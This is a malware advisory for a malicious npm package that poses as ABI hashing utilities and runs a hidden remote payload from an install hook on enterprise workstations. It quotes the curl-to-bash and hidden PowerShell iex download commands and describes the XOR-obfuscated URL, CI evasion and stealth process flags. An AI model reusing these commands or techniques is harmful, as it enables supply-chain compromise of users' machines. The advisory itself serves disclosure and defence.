MAL-2026-15821

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27)

On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json (self-labeled 'ss-xor-v1') and reconstructed at runtime; the decoded destination is https://mexc-12584333570.cos.ap-beijing.myqcloud.com/abi-tool-.... On Unix the hook runs curl -fsSL '<url>' | bash; on Windows it runs powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command iex (iwr -UseBasicParsing -Uri $uri).Content. There is no pin, hash, or signature check on the fetched bytes. Execution is gated: CI environments are short-circuited, and the payload only fires on Windows/macOS hosts where both a collaboration client (Lark or Feishu) and FortiClient VPN are detected, narrowing execution to enterprise workstations. The child is launched with detached: true, stdio: 'ignore', windowsHide: true, and the postinstall swallows all errors and force-exits 0 so npm install reports success. The package advertises ABI selector hashing utilities; there is no legitimate need to fetch and execute a hidden remote shell payload at install time. The combination of destination obfuscation, victim-selection targeting a Lark/Feishu+FortiClient enterprise cohort, CI evasion, and stealth process flags is a targeted supply-chain attack against managed enterprise endpoints.

Source: ghsa-malware (c9bf1feeeb85d155242c76cde8025688ddf72e47c3102304c452442204df342a)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.